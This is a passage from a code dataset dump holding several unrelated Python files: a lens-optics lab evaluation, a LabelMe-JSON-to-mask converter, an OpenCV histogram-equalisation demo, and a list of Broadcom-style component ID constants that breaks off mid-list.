1.15, 0.95])* 10**(-2), err_6) # cm in m\n\n# Messung bei unbekannter Brennweite\n\ng_2 = unp.uarray(np.linspace(15, 60, 10) * 10**(-2), err)\nb_2 = unp.uarray(np.array([18.55, 14.3, 12.5, 11.7, 11.1, 10.5, 10.3, 10.1, 9.95, 9.9]) * 10**(-2), err)\n\n# Messung nach Bessel\n\nb_plus_g_3 = unp.uarray(np.array([40, 45, 50, 52.5, 55, 57.5, 60, 62.5, 65, 70]) * 10**(-2), err)\ng_eins_3 = unp.uarray(np.array([16.6, 14.15, 13.2, 12.9, 12.6, 12.4, 12.2, 12.2, 12, 11.8]) * 10**(-2), err) # erster Brennpkt\nb_eins_3 = b_plus_g_3 - g_eins_3\ng_zwei_3 = unp.uarray(np.array([23.7, 31.05, 37, 40, 42.6, 45.35, 48, 50.75, 53.35, 58.45]) * 10**(-2), err) # zweiter Brennpkt\nb_zwei_3 = b_plus_g_3 - g_zwei_3\n\nd_eins_3 = g_eins_3 - b_eins_3\nd_zwei_3 = g_zwei_3 - b_zwei_3\n\n# chromatische Abberation\n\nb_plus_g_4 = unp.uarray(np.linspace(45, 65, 5) * 10**(-2), err_5)\ng_eins_rot_4 = unp.uarray(np.array([14.35, 13.2, 12.6, 12.35, 12]) * 10**(-2), err_5)\nb_eins_rot_4 = b_plus_g_4 - g_eins_rot_4\ng_zwei_rot_4 = unp.uarray(np.array([31, 37, 42.5, 48.1, 53.5]) * 10**(-2), err_5)\nb_zwei_rot_4 = b_plus_g_4 - g_zwei_rot_4\nd_eins_rot_4 = g_eins_rot_4 - b_eins_rot_4\nd_zwei_rot_4 = g_zwei_rot_4 - b_zwei_rot_4\n\ng_eins_blau_4 = np.array([14.1, 13.25, 12.7, 12.4, 12.1]) * 10**(-2)\nb_eins_blau_4 = b_plus_g_4 - g_eins_blau_4\ng_zwei_blau_4 = np.array([31.2, 37.1, 42.7, 48.2, 53.3]) * 10**(-2)\nb_zwei_blau_4 = b_plus_g_4 - g_zwei_blau_4\nd_eins_blau_4 = g_eins_blau_4 - b_eins_blau_4\nd_zwei_blau_4 = g_zwei_blau_4 - b_zwei_blau_4\n\n# Nach Abbe Streulinse -100 mm, Sammellinse 100mm\n\nB_5 = unp.uarray(np.array([5.2, 3.9, 2.8, 2.2, 1.8, 1.5, 1.3, 1.2, 1, 0.95]) * 10**(-2), err)\nb_plus_g_5 = unp.uarray(np.array([70, 67.3, 66.6, 68.1, 71.4, 75, 79, 83.3, 87.5, 92.1]) * 10**(-2), err)\ng_5 = unp.uarray(np.array([17, 20, 25, 30, 35, 40, 45, 50, 55, 60]) * 10**(-2), err)\nb_5 = b_plus_g_5 - g_5\n\n# Abbildungsgesetz\n\n\nV_aus_gb = Abbildungssgesetz(b_1, g_1)\n\nprint('Abbildungsgesetz aus g und b: ', V_aus_gb)\nprint('Mittelwert V_gb: ', np.mean(V_aus_gb))\nprint(noms(B_1), len(noms(B_1)))\nprint(noms(B_1)[1:len(noms(B_1))] / G, stds(B_1)[1:len(noms(B_1))] / G)\n\nB_G = unp.uarray(noms(B_1[1:len(noms(B_1))] / G), stds(B_1[1:len(noms(B_1))] / G))\n\nprint('Aus abgemessenen Werten B und G: ', B_G)\nprint('Mittelwert V: ', np.mean(B_G))\n\n# Linsengleichung\n\nbrennpkt_1 = Brennweite(b_1, g_1)\n\nprint('Brennpunkt: ', brennpkt_1)\nprint('Mittelwert f_1: ', np.mean(brennpkt_1))\n\nplt.clf()\nplt.plot(np.array([0, noms(g_1)[0]]), np.array([noms(b_1)[0], 0]), 'b-')#, label=r'Messung 1')\nplt.plot(np.array([0, noms(g_1)[1]]), np.array([noms(b_1)[1], 0]), 'b-')#, label=r'Messung 2')\nplt.plot(np.array([0, noms(g_1)[2]]), np.array([noms(b_1)[2], 0]), 'b-')#, label=r'Messung 3')\nplt.plot(np.array([0, noms(g_1)[3]]), np.array([noms(b_1)[3], 0]), 'b-')#, label=r'Messung 4')\nplt.plot(np.array([0, noms(g_1)[4]]), np.array([noms(b_1)[4], 0]), 'b-')#, label=r'Messung 5')\nplt.plot(np.array([0, noms(g_1)[5]]), np.array([noms(b_1)[5], 0]), 'b-')#, label=r'Messung 6')\nplt.plot(np.array([0, noms(g_1)[6]]), np.array([noms(b_1)[6], 0]), 'b-')#, label=r'Messung 7')\nplt.plot(np.array([0, noms(g_1)[7]]), np.array([noms(b_1)[7], 0]), 'b-')#, label=r'Messung 8')\nplt.plot(np.array([0, noms(g_1)[8]]), np.array([noms(b_1)[8], 0]), 'b-')#, label=r'Messung 9')\nplt.plot(np.array([0, noms(g_1)[9]]), np.array([noms(b_1)[9], 0]), 'b-')#, label=r'Messung 10')\nplt.plot(np.ones(10) * noms(brennpkt_1), np.linspace(0, 0.3, 10), 'g--', label='Brennpunkt aus Mittelwerten')\nplt.plot(np.ones(10) * 0.099, np.linspace(0, 0.3, 10), 'k--', label='Abgelesene Brennweite')\nplt.ylabel(r'Bildweite in Metern')\nplt.xlabel(r'Gegenstandsweite in Metern, $g_i$ sind äquidistant')\n#plt.yticks([noms(b_1)[0], noms(b_1)[1], noms(b_1)[2], noms(b_1)[3], noms(b_1)[4], noms(b_1)[5], #noms(b_1)[6], noms(b_1)[7], noms(b_1)[8], noms(b_1)[9]],\n#           [r\"$b_1$\", r\"$b_2$\", r\"$b_3$\" ,r\"$b_4$\", r\"$b_5$\", r\"$b_6$\", r\"$b_7$\", r\"$b_8$\", r\"$b_9$\"])\nplt.xticks([noms(g_1)[0], noms(g_1)[1], noms(g_1)[2], noms(g_1)[3], noms(g_1)[4], noms(g_1)[5], noms(g_1)[6], noms(g_1)[7], noms(g_1)[8], noms(g_1)[9]],\n          [r\"$g_1 = 0.05$\", r\"$g_2$\", r\"$g_3$\" ,r\"$g_4$\", r\"$g_5$\", r\"$g_6$\", r\"$g_7$\", r\"$g_8$\", r\"$g_9$\", r\"$g_{10} = 0.60$\"])\nplt.legend(loc='best')\nplt.grid()\nplt.tight_layout()\nplt.savefig('Messung1_brennnweite_bekannt.pdf')\n#plt.show()\n\nprint('schnittpkt abgelesen: ', 'x=0.099(0.003), y=0.094(0.003) Fehler sehr genau mit mauscourser abzulesen')\n\n# unbekannte Brennweite\n\nbrennpkt_2 = Brennweite(b_2, g_2)\nprint('Brennpunkt_2: ', brennpkt_2)\nprint('Mittelwert f_2: ', np.mean(brennpkt_2))\n\n\nplt.clf()\nplt.plot(np.array([0, noms(g_2)[0]]), np.array([noms(b_2)[0], 0]), 'b-')#, label=r'Messung 1')\nplt.plot(np.array([0, noms(g_2)[1]]), np.array([noms(b_2)[1], 0]), 'b-')#, label=r'Messung 2')\nplt.plot(np.array([0, noms(g_2)[2]]), np.array([noms(b_2)[2], 0]), 'b-')#, label=r'Messung 3')\nplt.plot(np.array([0, noms(g_2)[3]]), np.array([noms(b_2)[3], 0]), 'b-')#, label=r'Messung 4')\nplt.plot(np.array([0, noms(g_2)[4]]), np.array([noms(b_2)[4], 0]), 'b-')#, label=r'Messung 5')\nplt.plot(np.array([0, noms(g_2)[5]]), np.array([noms(b_2)[5], 0]), 'b-')#, label=r'Messung 6')\nplt.plot(np.array([0, noms(g_2)[6]]), np.array([noms(b_2)[6], 0]), 'b-')#, label=r'Messung 7')\nplt.plot(np.array([0, noms(g_2)[7]]), np.array([noms(b_2)[7], 0]), 'b-')#, label=r'Messung 8')\nplt.plot(np.array([0, noms(g_2)[8]]), np.array([noms(b_2)[8], 0]), 'b-')#, label=r'Messung 9')\nplt.plot(np.array([0, noms(g_2)[9]]), np.array([noms(b_2)[9], 0]), 'b-')#, label=r'Messung 10')\nplt.plot(np.ones(10) * noms(brennpkt_2), np.linspace(0, 0.3, 10), 'g--', label='Brennpunkt aus Mittelwerten')\nplt.plot(np.ones(10) * 0.081, np.linspace(0, 0.3, 10), 'k--', label='Abgelesene Brennweite')\nplt.ylabel(r'Bildweite in Metern')\nplt.xlabel(r'Gegenstandsweite in Metern, $g_i$ sind äquidistant')\n#plt.yticks([noms(b_1)[0], noms(b_1)[1], noms(b_1)[2], noms(b_1)[3], noms(b_1)[4], noms(b_1)[5], #noms(b_1)[6], noms(b_1)[7], noms(b_1)[8], noms(b_1)[9]],\n#           [r\"$b_1$\", r\"$b_2$\", r\"$b_3$\" ,r\"$b_4$\", r\"$b_5$\", r\"$b_6$\", r\"$b_7$\", r\"$b_8$\", r\"$b_9$\"])\nplt.xticks([noms(g_2)[0], noms(g_2)[1], noms(g_2)[2], noms(g_2)[3], noms(g_2)[4], noms(g_2)[5], noms(g_2)[6], noms(g_2)[7], noms(g_2)[8], noms(g_2)[9]],\n           [r\"$g_1 = 0,05$\", r\"$g_2$\", r\"$g_3$\" ,r\"$g_4$\", r\"$g_5$\", r\"$g_6$\", r\"$g_7$\", r\"$g_8$\", r\"$g_9$\", r\"$g_{10} = 0,60$\"])\nplt.legend(loc='best')\nplt.grid()\nplt.tight_layout()\nplt.savefig('Messung2_unbekannte_brennweite.pdf')\n#plt.show()\n\n\nprint('schnittpkt_2 abgelesen: ', 'x=0.081(0.003), y=0.084(0.003) Fehler sehr genau mit mauscourser abzulesen')\n\n# Bessel\n\nbrennweite_3 = Brennweite_Bessel(np.append(b_plus_g_3, b_plus_g_3), np.append(d_eins_3, d_zwei_3))\n\nprint('Brennweite nach Bessel: ', brennweite_3)\nprint('Mittelwert Brennweite nach Bessel: ', np.mean(brennweite_3))\n\n# chromatische Abberration\n\nbrennweite_rot_4 = Brennweite_Bessel(np.append(b_plus_g_4, b_plus_g_4), np.append(d_eins_rot_4, d_zwei_rot_4))\n\nbrennweite_blau_4 = Brennweite_Bessel(np.append(b_plus_g_4, b_plus_g_4), np.append(d_eins_blau_4, d_zwei_blau_4))\n\nprint('brennweite_rot: ', np.mean(brennweite_rot_4))\nprint('brennweite_blau: ', np.mean(brennweite_blau_4))\n\n# Abbe\n\nV_abbe = B_5 / G\n\nparams_g, covariance_g = curve_fit(function, 1 + 1 / noms(V_abbe), noms(g_5))\nparams_b, covariance_b = curve_fit(function, 1 + noms(V_abbe), noms(b_5))\n\n\nplt.clf()\nplt.plot(np.linspace(1.5, 4.5, 10), function(np.linspace(1.5, 4.5, 10), *params_g), 'r-', label = r'lineare Regression')\nplt.plot(1 + 1 / noms(V_abbe), noms(g_5), 'kx', label=r'Messdaten')\nplt.xlabel(r'(1+$\\frac{1}{V}$)')\nplt.ylabel(r'g´')\nplt.ylim(0, 0.62)\nplt.xlim(1.5, 4.2)\nplt.legend(loc='best')\nplt.grid()\nplt.tight_layout()\nplt.savefig('Messung_abbe_g.pdf')\n\nplt.clf()\nplt.plot(np.linspace(1, 3, 10), function(np.linspace(1, 3, 10), *params_b), 'r-', label = r'lineare Regression')\nplt.plot(1 + noms(V_abbe), noms(b_5), 'kx', label=r'Messdaten')\nplt.xlabel(r'(1 + V)')\nplt.ylabel(r'b´')\nplt.xlim(1.3, 2.9)\nplt.legend(loc='best')\nplt.grid()\nplt.tight_layout()\nplt.savefig('Messung_abbe_b.pdf')\n\nprint('Brennweite_abbe_g, Hauptebene :', params_g)\nprint('fehler: ', np.sqrt(np.diag(covariance_g)))\nprint('Brennweite_abbe_b, Hauptebene :', params_b)\nprint('fehler: ', np.sqrt(np.diag(covariance_b)))\nprint('Brennweite Abbe: ', (params_g + params_b) / 2)\n\nprint('Brennweite Abbe f_ges: ', 1 /(1 / 10 - 1 / 10 + 6 / (100)))\n","repo_name":"smjhnits/Praktikum_TU_D_16-17","sub_path":"Anfängerpraktikum/Protokolle/V408_Geometrische_Optik/Auswertung/Python/Auswertung.py","file_name":"Auswertung.py","file_ext":"py","file_size_in_byte":9539,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13768633760","text":"\"\"\"\n     将标注的json文件转化成mask标签格式\n\"\"\"\nimport json\nimport cv2 as cv\nimport os\nimport numpy as np\n\n\n# 获取文件路径\ndef travel_path(dir, files=None, extension_list=('jpg',), ignore_files=None):\n    \"\"\"\n    :param dir: 文件路径\n    :param files: 文件列表\n    :param extension_list: 支持的文件格式\n    :param ignore_files: 需要过滤的文件\n    :return:\n    \"\"\"\n    if ignore_files is None:\n        ignore_files = []\n    if files is None:\n        files = []\n    # 读取文件列表\n    for file in os.listdir(dir):\n        path = os.path.join(dir, file)\n        if os.path.isfile(path):\n            if '.' in path:\n                _, extension = path.rsplit('.', 1)\n                if extension.lower() in extension_list and file not in ignore_files:\n                    files.append(path)\n        elif os.path.isdir(path):\n            travel_path(path, files, extension_list, ignore_files)\n\n\n# labels 标签\ndef get_label():\n    # 废钢标签\n    labels = [ 'pf_cc', 'zf1_cc',\n                'cgj_cc', 'gyfg_cc',\n                'jpfg_cc',  'zf2_cc',\n                'train_cc']\n\n    label_num = len(labels) + 1  # classes + bg  类别说+背景\n    # 标签图，给每个标签赋标签值\n    class_label_map = {}\n    for i, label in enumerate(labels):\n        class_label_map[i + 1] = label\n        class_label_map[label] = i + 1\n    print(class_label_map)\n    return class_label_map, labels\n\n\n# 获取label对应的标签值\ndef get_label_value_from_class_name(label, class_label_map, labels):\n    label_value = -1\n    is_find = True\n    if label not in labels:\n        is_find = False\n        return is_find, label_value\n    label_value = class_label_map[label]\n    return is_find, label_value\n\n\n# json标签 转 mask标签\ndef json_2_mask(json_path, class_label_map, labels):\n    \"\"\"\n    :param json_path: json文件地址\n    :param class_label_map: 标签图，类别对应标签\n    :param labels: 类别名\n    :return:\n    \"\"\"\n    # 标签 mask\n    mask_img = None\n    # 打开json文件\n    with open(json_path, 'r', encoding='utf8') as op:\n        try:\n            json_data = json.load(op)\n        except Exception as e:\n            print(\"json load error info as {}\".format(e))\n            return mask_img\n    # print(json_data)\n    # 获取图像宽高\n    im_h = json_data[\"imageHeight\"]\n    im_w = json_data[\"imageWidth\"]\n    assert im_h == 2160, \"im_h == 2160 is error\"\n    assert im_w == 3840, \"im_w == 3840 is error\"\n\n    # 生成空白的mask\n    mask_img = np.zeros((im_h, im_w), dtype=np.float32)\n    # 获取所有的多边形信息，也就是mask\n    polygons = json_data[\"shapes\"]\n    for pg in polygons:\n        # print(pg)\n        label = pg[\"label\"]\n        points = pg[\"points\"]\n        is_find, label_value = get_label_value_from_class_name(label, class_label_map, labels)\n        if is_find:\n            label_points = np.array(points).astype(np.int32)\n            cv.fillPoly(mask_img, [label_points], label_value)\n            # else:\n            #     print(\"label error \", label)\n    return mask_img\n\n# 处理每一张图像\ndef process_each_path(each_path, class_label_map, labels):\n    \"\"\"\n    :param each_path: 图像路径\n    :param class_label_map: 标签字典\n    :param labels: 标签名称\n    :return:\n    \"\"\"\n    # json_path = each_path.replace(\".jpg\", \".json\")\n    json_path = each_path\n    # 检查文件\n    assert os.path.isfile(json_path)\n    return json_2_mask(json_path, class_label_map, labels)\n\n\n# 生成mask主函数\ndef mask_main():\n    # json 标注文件路径\n    base_dir = \"/Users/clustar/Desktop/项目/金盛兰数据_料件/超长测试mask\"\n    # 多料件mask目录\n    mask_dir = \"/Users/clustar/Desktop/项目/金盛兰数据_料件/超长测试mask结果\"\n    files = []\n    # 加载文件\n    travel_path(base_dir, files, extension_list=(\"json\",))\n    # print(files[:3])\n    # 获取标签信息\n    class_label_map, labels = get_label()\n    for i, item in enumerate(files):\n        print(\"begin process id:{}, path:{}\".format(i, item))\n        # 获取多料件mask和车厢主体mask\n        # process_each_path(item, class_label_map, labels)\n        mask_img = process_each_path(item, class_label_map, labels)\n        if mask_img is not None:\n            mask_path = item.replace(base_dir, mask_dir).replace(\".json\", \".png\")\n            # 获取新的目录\n            new_mask_dir = os.path.dirname(mask_path)\n            # print(new_mask_dir)\n            # 创建文件夹，如果路径目录不存在\n            os.makedirs(new_mask_dir, exist_ok=True)\n            cv.imwrite(mask_path, mask_img)\n\nmask_main()\n","repo_name":"8125345/Test","sub_path":"json_to_mask.py","file_name":"json_to_mask.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5616559242","text":"\nimport cv2 as cv\nimport os\nimport sys\nimport numpy as np\nimport copy\nimport math\nfrom matplotlib import pyplot as plt\nfrom matplotlib import ticker\n\n\n# gets the absolute path to the file\nabspath = os.path.abspath(os.path.dirname(__file__))\n# add the library file path\nsys.path.append(abspath + \"/../../common\")\n# change the work path\nos.chdir(abspath)\n\nimport misc_utils\nimport math_utils\nimport opencv\n\n\ndef enhanceImageClarity():\n    \"\"\"\n    描述: 1.通过图像相减获取血管。\n          2.取反可以达到图像增强效果。\n          3.使用自适应灰度直方图均衡化，可以提高图像对比度和细节\n    参数: None\n    返回: None\n    \"\"\"\n    img0 = cv.imread('pictures/subtraction_0.tif')\n    img1 = cv.imread('pictures/subtraction_1.tif')\n    img_moon = cv.imread('pictures/moon.tif',0)\n    img_gray_0 = cv.cvtColor(img0, cv.COLOR_BGR2GRAY)\n    img_gray_1 = cv.cvtColor(img1, cv.COLOR_BGR2GRAY)\n\n    # 1.图像相减\n    img_diff = cv.subtract(img_gray_0, img_gray_1)\n    img_gray_2 = img_diff - img_diff.min() # 使最小值为正\n\n    # 2.取反增强图像效果\n    img_gray_3 = 255 - img_gray_2\n\n    # 3.创建按钮\n    button_units = [['clipLimit', 8, 100],\n                    ['row', 8, 200],\n                    ['col', 8, 200]]\n\n    track_bar = opencv.createTrackbar(button_units, \"trackbar\")\n\n    while(1):\n        cv.waitKey(1)\n\n        # 获取trackbar参数\n        [clipLimit, row, col] = track_bar.getTrackbarPos()\n\n        # 自适应灰度调节\n        # 在OpenCV中 tiles的大小默认为8×8。然后我们再分别对每一小块进行直方图均衡化。\n        # 所以在每一个的区域中， 直方图会集中在某一个小的区域中（除非有噪声干扰）。\n        # 如果有噪声的话，噪声会被放大。 为了避免这种情况的出现要使用对比度限制。 \n        # 对于每个小块来说，如果直方图中的 bin 超过对比度的上限的话， \n        # 就把其中的像素点均匀分散到其他 bins 中， 然后在进行直方图均衡化。\n        # 最后，为了去除每一个小块之间“人造的”（由于算法造成）边界， 再使用双线性差值，对小块进行缝合。\n        clahe = cv.createCLAHE(clipLimit=clipLimit, tileGridSize=(row,col))\n        img_gray_createCLAHE_2 = clahe.apply(img_gray_2)\n        img_gray_createCLAHE_3 = clahe.apply(img_gray_3)\n        img_gray_createCLAHE_moon = clahe.apply(img_moon)\n\n        cv.imshow('img_gray_createCLAHE_2',img_gray_createCLAHE_2)\n        cv.imshow('img_gray_createCLAHE_3',img_gray_createCLAHE_3)\n        cv.imshow('img_gray_createCLAHE_moon',img_gray_createCLAHE_moon)\n\n        # 显示灰度图\n        img_hist_2 = opencv.drawHist(img_gray_createCLAHE_2)\n        img_hist_3 = opencv.drawHist(img_gray_createCLAHE_3)\n        img_hist_moon = opencv.drawHist(img_gray_createCLAHE_moon)\n        cv.imshow('hist_2',img_hist_2)\n        cv.imshow('hist_3',img_hist_3)\n        cv.imshow('img_hist_moon',img_hist_moon)\n\ndef enhanceBackgroundBrightness():\n    \"\"\"\n    描述: 1.使用cv.equalizeHist函数，会使直方图分布太均匀，\n           从而使图像的对比度过高，导致细节丢失，比如说导致本例中的头部的信息丢失。\n          2.cv.createCLAHE函数是先将图像分成若干块，在每一块中进行直方图均衡化。\n            这样可以逐渐调节直方图的分布，动态地观察直方图的分布变化给图像带来的变化。\n            且加入噪声抑制方法，这里不是太懂？？\n          3.不知道cv.createCLAHE是否是我们常用的显示器调节对比度的方法？？\n    参数: None\n    返回: None\n    \"\"\"\n    img = cv.imread('pictures/histogram_0.jpg', 0)\n\n    # 直接直方图均衡化\n    cv.imshow('img',img)\n    img_Hist = opencv.drawHist(img)\n    cv.imshow('img_Hist',img_Hist)\n\n    img_equalizeHist = cv.equalizeHist(img)\n    cv.imshow('img_equalizeHist',img_equalizeHist)\n    equalizeHist = opencv.drawHist(img_equalizeHist)\n    cv.imshow('equalizeHist',equalizeHist)\n\n    # 1.创建按钮\n    button_units = [['clipLimit', 1, 100],\n                    ['row', 8, 200],\n                    ['col', 8, 200]]\n\n    track_bar = opencv.createTrackbar(button_units, \"trackbar\")\n\n    while(1):\n        cv.waitKey(1)\n\n        # 回去按钮参数\n        [clipLimit, row, col] = track_bar.getTrackbarPos()\n\n        # 自适应灰度调节\n        clahe = cv.createCLAHE(clipLimit=clipLimit, tileGridSize=(row,col))\n        img_createCLAHE = clahe.apply(img)\n        cv.imshow('img_createCLAHE',img_createCLAHE)\n\n        # 显示灰度图\n        hist = opencv.drawHist(img_createCLAHE)\n        cv.imshow('createCLAHE_Hist',hist)\n\n\ndef enhanceAllBrightness():\n    \"\"\"\n    描述: 1.使用c = 255/img.max()乘上图片的方法获得图像的最大亮度\n          2.在增大调节系数c时，可以发现图像的直方图整体是在网255级移动\n    参数: None\n    返回: None\n    \"\"\"\n    img = cv.imread('pictures/house.jpg', 0)\n\n    # 直接直方图均衡化\n    cv.imshow('img',img)\n    img_Hist = opencv.drawHist(img)\n    cv.imshow('img_Hist',img_Hist)\n\n    # 1.创建按钮\n    button_units = [['coefficient', 210, 255]]\n\n    track_bar = opencv.createTrackbar(button_units, \"trackbar\")\n\n    while(1):\n        cv.waitKey(1)\n\n        # 获取按钮参数\n        [coefficient] = track_bar.getTrackbarPos()\n\n        # 调节亮度\n        img_new = (img * (coefficient / img.max())).astype(\"uint8\")\n        cv.imshow(\"img_new\", img_new)\n\n        # 显示灰度图\n        hist = opencv.drawHist(img_new)\n        cv.imshow('img_new_Hist',hist)\n\n\ndef BGR_Histogram2D():\n    \"\"\"\n    描述: 显示BGR图像的任意两个通道的2D直方图\n    参数: None\n    返回: None\n    参考: https://lmcaraig.com/image-histograms-histograms-equalization-and-histograms-comparison/\n    \"\"\"\n    def show_image_histogram_2d(image, bins=32, tick_spacing=5):\n        \"\"\"\n        描述: 显示BGR图像的任意两个通道的2D直方图\n        参数: image: BGR3通道图像，narray, shape(m,n,3)\n            bins: 分成的显示级别，1-256级别，类似于灰度分级，级别越高统计越详细\n            tick_spacing：显示的坐标间隔\n        返回: None\n        \"\"\"\n        fig, axes = plt.subplots(1, 3, figsize=(12, 5))\n        channels_mapping = {0: 'B', 1: 'G', 2: 'R'}\n        for i, channels in enumerate([[0, 1], [0, 2], [1, 2]]):\n            hist = cv.calcHist(\n                [image], channels, None, [bins] * 2, [0, 256] * 2) # [x]*2相当于将列表中的元素复制成两个\n\n            channel_x = channels_mapping[channels[0]]\n            channel_y = channels_mapping[channels[1]]\n\n            ax = axes[i]\n            ax.set_xlim([0, bins - 1])\n            ax.set_ylim([0, bins - 1])\n\n            ax.set_xlabel(f'Channel {channel_x}')\n            ax.set_ylabel(f'Channel {channel_y}')\n            ax.set_title(f'2D Color Histogram for {channel_x} and {channel_y}')\n\n            ax.yaxis.set_major_locator(ticker.MultipleLocator(tick_spacing))\n            ax.xaxis.set_major_locator(ticker.MultipleLocator(tick_spacing))\n\n            im = ax.imshow(hist)\n\n        fig.colorbar(im, ax=axes.ravel().tolist(), orientation='orizontal')\n        fig.suptitle(f'2D Color Histograms with {bins} bins', fontsize=16)\n\n    img_light = cv.imread('pictures/light-tones.jpg')\n    cv.imshow(\"img_light\", img_light)\n    show_image_histogram_2d(img_light, bins=32)\n    plt.show()\n\ndef HSI_Histogram2D():\n    \"\"\"\n    描述: 显示HSI图像模型的HS通道的2D直方图\n    参数: None\n    返回: None\n    \"\"\"\n    def show_histogram_2d(image):\n        \"\"\"\n        描述: 显示HSI模型的前两个通道值的2D直方图\n        参数: image: HSI通道图像，narray, shape(m,n,3)\n        返回: None\n        参考: https://matplotlib.org/gallery/axes_grid1/simple_colorbar.html#sphx-glr-gallery-axes-grid1-simple-colorbar-py\n              https://matplotlib.org/gallery/axes_grid1/demo_colorbar_with_axes_divider.html\n        \"\"\"\n        import matplotlib.pyplot as plt\n        import numpy as np\n        from mpl_toolkits.axes_grid1 import make_axes_locatable\n\n        # 创建1*1子图\n        fig, axes = plt.subplots(nrows=1, ncols=1)\n\n        axes.set_title('2D HSI Color Histogram')\n        axes.set_xlabel('S')\n        axes.set_ylabel('H')\n\n        # 行为y坐标，列为x坐标\n        hist = cv.calcHist([image], [0,1], None, [180, 256], [0, 180, 0, 256])\n\n        # 绘制条2D和彩色条\n        im = axes.imshow(hist)\n        divider = make_axes_locatable(axes)\n        cax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\n        plt.colorbar(im, cax=cax)   \n\n\n    img_light = cv.imread('pictures/light-tones.jpg')\n    cv.imshow(\"img_light\", img_light)\n    img_HSV = cv.cvtColor(img_light,cv.COLOR_BGR2HSV)\n    show_histogram_2d(img_HSV)\n    plt.show()\n\nif __name__==\"__main__\":\n    enhanceImageClarity()\n    # enhanceBackgroundBrightness()\n    # enhanceAllBrightness()\n    # BGR_Histogram2D()\n    # HSI_Histogram2D()\n\n\n    \n\n","repo_name":"Aaron20127/Course-Learning","sub_path":"digital_image_processing/chapter_2/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":9069,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19838107659","text":"import sys\nsys.dont_write_bytecode = True\nimport os\n\n# BCM_GroupIDType\nBCM_GROUPID_IMGL        = 0x00          # Image Loader group\nBCM_GROUPID_SYS         = 0x01          # System group\nBCM_GROUPID_NVM         = 0x02          # NVM group\nBCM_GROUPID_ETHSRV      = 0x03          # Communications group\nBCM_GROUPID_APP         = 0x04          # Application Group\nBCM_GROUPID_CONSOLE     = 0x05          # Console Group\nBCM_GROUPID_AVCE        = 0x20          # AVCE Group\nBCM_GROUPID_AVCD        = 0x21          # AVCD Group\nBCM_GROUPID_CAMERA      = 0x22          # Camera Group\nBCM_GROUPID_OPENVX      = 0x23          # OPENVX Group\nBCM_GROUPID_LDC         = 0x24          # LDC Group\nBCM_GROUPID_DISPLAY     = 0x25          # Display Group\nBCM_GROUPID_GRAPHICS    = 0x26          # Graphics Group\nBCM_GROUPID_STITCH      = 0x27          # Stitch Group\nBCM_GROUPID_AUDIO       = 0x28          # Audio Group\nBCM_GROUPID_TEST        = 0x3E          # Test Group\nBCM_GROUPID_INVALID     = 0x3F          # Invalid group\n\n# BCM_CompIDType\nBCM_RSV_ID              = 0x0000        # Reserved\nBCM_MOD_ID              = 0x0001        # Module\nBCM_MSG_ID              = 0x0002        # MsgQ (IPC)\nBCM_UTL_ID              = 0x0003        # UTILS\nBCM_OSI_ID              = 0x0004        # OSI\nBCM_DCA_ID              = 0x0005        # DCache\nBCM_MCU_ID              = 0x0100        # MCU\nBCM_WDG_ID              = 0x0101        # Watchdog\nBCM_DDR_ID              = 0x0102        # DDR\nBCM_VTM_ID              = 0x0103        # VTMON\nBCM_SPT_ID              = 0x0104        # SP804\nBCM_AVT_ID              = 0x0105        # AVT\nBCM_IPC_ID              = 0x0106        # IPC\nBCM_TMD_ID              = 0x0120        # Time module\nBCM_IMG_ID              = 0x0121        # IMGL\nBCM_RPC_ID              = 0x0122        # RPC\nBCM_PPR_ID              = 0x0130        # PixelProcessor\nBCM_SYS_ID              = 0x0140        # SYS\nBCM_CTL_ID              = 0x0141        # BL Control\nBCM_ROM_ID              = 0x0142        # ROM\nBCM_BCP_ID              = 0x0200        # Board phrpls\nBCM_GIO_ID              = 0x0201        # GPIO\nBCM_PMX_ID              = 0x0202        # PinMux\nBCM_SEI_ID              = 0x0203        # SIO Serial IO\nBCM_IIC_ID              = 0x0204        # IIC\nBCM_SPI_ID              = 0x0205        # SPI\nBCM_SIO_ID              = 0x0206        # SDIO\nBCM_PWM_ID              = 0x0207        # PWM\nBCM_ADC_ID              = 0x0208        # ADC\nBCM_DMA_ID              = 0x0209        # DMA330\nBCM_CAN_ID              = 0x020A        # CAN\nBCM_LIN_ID              = 0x020B        # LIN\nBCM_CCT_ID              = 0x020C        # CCT\nBCM_QSP_ID              = 0x0300        # QSPI\nBCM_OTP_ID              = 0x0301        # OTP\nBCM_PCH_ID              = 0x0302        # PATCH\nBCM_OTM_ID              = 0x0320        # OTPM\nBCM_FLM_ID              = 0x0321        # Flash Manager\nBCM_PTM_ID              = 0x0322        # PTM\nBCM_NVM_ID              = 0x0340        # NVM\nBCM_SHP_ID              = 0x0400        # Secure heap\nBCM_SPM_ID              = 0x0401        # SPUM\nBCM_PKA_ID              = 0x0402        # PKA\nBCM_RND_ID              = 0x0403        # RAND\nBCM_CVM_ID              = 0x0420        # Crypto verify module\nBCM_CRS_ID              = 0x0440        # Crypto Service\nBCM_XVR_ID              = 0x0500        # XVR\nBCM_AMC_ID              = 0x0501        # AMAC\nBCM_UNI_ID              = 0x0502        # UNIMAC\nBCM_MIO_ID              = 0x0503        # MDIO\nBCM_ETH_ID              = 0x0504        # ETH\nBCM_SWT_ID              = 0x0505        # SWITCH\nBCM_CFP_ID              = 0x0506        # CFP\nBCM_FAC_ID              = 0x0507        # Flow Accelerator\nBCM_NIF_ID              = 0x0520        # NIF\nBCM_NET_ID              = 0x0521        # Internet Stack\nBCM_TCT_ID              = 0x0522        # TC10\nBCM_ETT_ID              = 0x0523        # ETH Time\nBCM_ETS_ID              = 0x0524        # ETS Component\nBCM_COM_ID              = 0x0540        # COM\nBCM_ETL_ID              = 0x0551        # ETS Library\nBCM_TFT_ID              = 0x0552        # TFTP\nBCM_RTL_ID              = 0x0553        # RTP Library\nBCM_RTS_ID              = 0x0554        # RTP Sender Component\nBCM_RTR_ID              = 0x0555        # RTP Receiver Component\nBCM_RFS_ID              = 0x0556        # RFS\nBCM_MTL_ID              = 0x0557        # MPEG2TS Library\nBCM_AVL_ID              = 0x0560        # AVB Library\nBCM_AVB_ID              = 0x0561        # AVB Component\nBCM_WLC_ID              = 0x0570        # Wireless 